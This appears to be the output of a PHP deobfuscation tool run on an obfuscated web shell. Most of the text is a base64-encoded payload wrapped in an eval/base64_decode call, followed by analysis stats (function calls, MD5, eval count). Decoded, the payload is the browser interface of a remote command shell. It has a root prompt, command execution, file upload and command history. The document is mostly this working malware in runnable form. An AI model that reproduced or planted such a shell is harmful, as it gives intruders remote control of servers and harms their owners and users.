CAgIHByb21pc2UudGhlbihmdW5jdGlvbiAoZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbWFrZVJlcXVlc3QoJz9mZWF0dXJlPXVwbG9hZCcsIHtwYXRoOiBwYXRoLCBmaWxlOiBmaWxlLCBjd2Q6IENXRH0sIGZ1bmN0aW9uIChyZXNwb25zZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9pbnNlcnRTdGRvdXQocmVzcG9uc2Uuc3Rkb3V0LmpvaW4oIm4iKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlQ3dkKHJlc3BvbnNlLmN3ZCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICAgICAgfSwgZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dCgnQW4gdW5rbm93biBjbGllbnQtc2lkZSBlcnJvciBvY2N1cnJlZC4nKTsNCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgZWxlbWVudC5jbGljaygpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEJhc2U2NChmaWxlLCBvbkxvYWRDYWxsYmFjaykgew0KICAgICAgICAgICAgICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbihyZXNvbHZlLCByZWplY3QpIHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHJlYWRlciA9IG5ldyBGaWxlUmVhZGVyKCk7DQogICAgICAgICAgICAgICAgICAgIHJlYWRlci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgcmVzb2x2ZShyZWFkZXIucmVzdWx0Lm1hdGNoKC9iYXNlNjQsKC4qKSQvKVsxXSk7IH07DQogICAgICAgICAgICAgICAgICAgIHJlYWRlci5vbmVycm9yID0gcmVqZWN0Ow0KICAgICAgICAgICAgICAgICAgICByZWFkZXIucmVhZEFzRGF0YVVSTChmaWxlKTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gZ2VuUHJvbXB0KGN3ZCkgew0KICAgICAgICAgICAgICAgIGN3ZCA9IGN3ZCB8fCAifiI7DQogICAgICAgICAgICAgICAgdmFyIHNob3J0Q3dkID0gY3dkOw0KICAgICAgICAgICAgICAgIGlmIChjd2Quc3BsaXQoIi8iKS5sZW5ndGggPiAzKSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBzcGxpdHRlZEN3ZCA9IGN3ZC5zcGxpdCgiLyIpOw0KICAgICAgICAgICAgICAgICAgICBzaG9ydEN3ZCA9ICKFLyIgKyBzcGxpdHRlZEN3ZFtzcGxpdHRlZEN3ZC5sZW5ndGgtMl0gKyAiLyIgKyBzcGxpdHRlZEN3ZFtzcGxpdHRlZEN3ZC5sZW5ndGgtMV07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiAicm9vdEBpb25lbDojIjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gdXBkYXRlQ3dkKGN3ZCkgew0KICAgICAgICAgICAgICAgIGlmIChjd2QpIHsNCiAgICAgICAgICAgICAgICAgICAgQ1dEID0gY3dkOw0KICAgICAgICAgICAgICAgICAgICBfdXBkYXRlUHJvbXB0KCk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgbWFrZVJlcXVlc3QoIj9mZWF0dXJlPXB3ZCIsIHt9LCBmdW5jdGlvbihyZXNwb25zZSkgew0KICAgICAgICAgICAgICAgICAgICBDV0QgPSByZXNwb25zZS5jd2Q7DQogICAgICAgICAgICAgICAgICAgIF91cGRhdGVQcm9tcHQoKTsNCiAgICAgICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBlc2NhcGVIdG1sKHN0cmluZykgew0KICAgICAgICAgICAgICAgIHJldHVybiBzdHJpbmcNCiAgICAgICAgICAgICAgICAgICAgLnJlcGxhY2UoLyYvZywgIiZhbXA7IikNCiAgICAgICAgICAgICAgICAgICAgLnJlcGxhY2UoLzwvZywgIiZsdDsiKQ0KICAgICAgICAgICAgICAgICAgICAucmVwbGFjZSgvPi9nLCAiJmd0OyIpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBfdXBkYXRlUHJvbXB0KCkgew0KICAgICAgICAgICAgICAgIHZhciBlU2hlbGxQcm9tcHQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hlbGwtcHJvbXB0Iik7DQogICAgICAgICAgICAgICAgZVNoZWxsUHJvbXB0LmlubmVySFRNTCA9IGdlblByb21wdChDV0QpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBfb25TaGVsbENtZEtleURvd24oZXZlbnQpIHsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKGV2ZW50LmtleSkgew0KICAgICAgICAgICAgICAgICAgICBjYXNlICJFbnRlciI6DQogICAgICAgICAgICAgICAgICAgICAgICBmZWF0dXJlU2hlbGwoZVNoZWxsQ21kSW5wdXQudmFsdWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaW5zZXJ0VG9IaXN0b3J5KGVTaGVsbENtZElucHV0LnZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQXJyb3dVcCI6DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaGlzdG9yeVBvc2l0aW9uID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhpc3RvcnlQb3NpdGlvbi0tOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmJsdXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY29tbWFuZEhpc3RvcnlbaGlzdG9yeVBvc2l0aW9uXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlICJBcnJvd0Rvd24iOg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGhpc3RvcnlQb3NpdGlvbiA+PSBjb21tYW5kSGlzdG9yeS5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGhpc3RvcnlQb3NpdGlvbisrOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGhpc3RvcnlQb3NpdGlvbiA9PT0gY29tbWFuZEhpc3RvcnkubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuYmx1cigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSBjb21tYW5kSGlzdG9yeVtoaXN0b3J5UG9zaXRpb25dOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ1RhYic6DQogICAgICAgICAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZUhpbnQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gaW5zZXJ0VG9IaXN0b3J5KGNtZCkgew0KICAgICAgICAgICAgICAgIGNvbW1hbmRIaXN0b3J5LnB1c2goY21kKTsNCiAgICAgICAgICAgICAgICBoaXN0b3J5UG9zaXRpb24gPSBjb21tYW5kSGlzdG9yeS5sZW5ndGg7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIG1ha2VSZXF1ZXN0KHVybCwgcGFyYW1zLCBjYWxsYmFjaykgew0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFF1ZXJ5U3RyaW5nKCkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgYSA9IFtdOw0KICAgICAgICAgICAgICAgICAgICBmb3IgKHZhciBrZXkgaW4gcGFyYW1zKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAocGFyYW1zLmhhc093blByb3BlcnR5KGtleSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhLnB1c2goZW5jb2RlVVJJQ29tcG9uZW50KGtleSkgKyAiPSIgKyBlbmNvZGVVUklDb21wb25lbnQocGFyYW1zW2tleV0pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gYS5qb2luKCImIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgICAgICAgICB4aHIub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgeGhyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgICAgICAgICAgICAgICB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgICAgIGlmICh4aHIucmVhZHlTdGF0ZSA9PT0gNCAmJiB4aHIuc3RhdHVzID09PSAyMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlSnNvbiA9IEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FsbGJhY2socmVzcG9uc2VKc29uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkVycm9yIHdoaWxlIHBhcnNpbmcgcmVzcG9uc2U6ICIgKyBlcnJvcik7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9Ow0KICAgICAgICAgICAgICAgIHhoci5zZW5kKGdldFF1ZXJ5U3RyaW5nKCkpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB3aW5kb3cub25sb2FkID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hlbGwtY21kIik7DQogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1jb250ZW50Iik7DQogICAgICAgICAgICAgICAgdXBkYXRlQ3dkKCk7DQogICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuZm9jdXMoKTsNCiAgICAgICAgICAgIH07DQogICAgICAgIDwvc2NyaXB0Pg0KICAgIDwvaGVhZD4NCg0KICAgIDxib2R5Pg0KICAgICAgPGRpdiBjbGFzcz0ibWItNiBjb2wiIHN0eWxlPSJ6LWluZGV4OiAxIj4NCiAgICAgICAgPGRpdiBpZD0ic2hlbGwiPg0KICAgICAgICAgICAgPHByZSBpZD0ic2hlbGwtY29udGVudCI+DQogICAgICAgICAgICAgICAgPGRpdiBpZD0ic2hlbGwtbG9nbyI+DQoNCiAgX19fX18gICAgICAgICAgICAgICAgIF8gICBfXyAgICBfXyAgICBfXyAgPHNwYW4+PC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2ZsdWlkLmpzIj48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguY2xvdWRmbGFyZS5jb20vY2RuLWNnaS9zY3JpcHRzLzcwODljNDNlL2Nsb3VkZmxhcmUtc3RhdGljL3JvY2tldC1sb2FkZXIubWluLmpzIiBkYXRhLWNmLXNldHRpbmdzPSJhYzJkNDcxN2NhZjZjNDBmZDZmNTAzYzAtfDQ5IiBkZWZlcj0iIj48L3NjcmlwdD48L2JvZHk+DQo8L2h0bWw+")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 ae49bc88fdad22effa81e0d3d6fce513
Eval Count 1
Decode Time 110 ms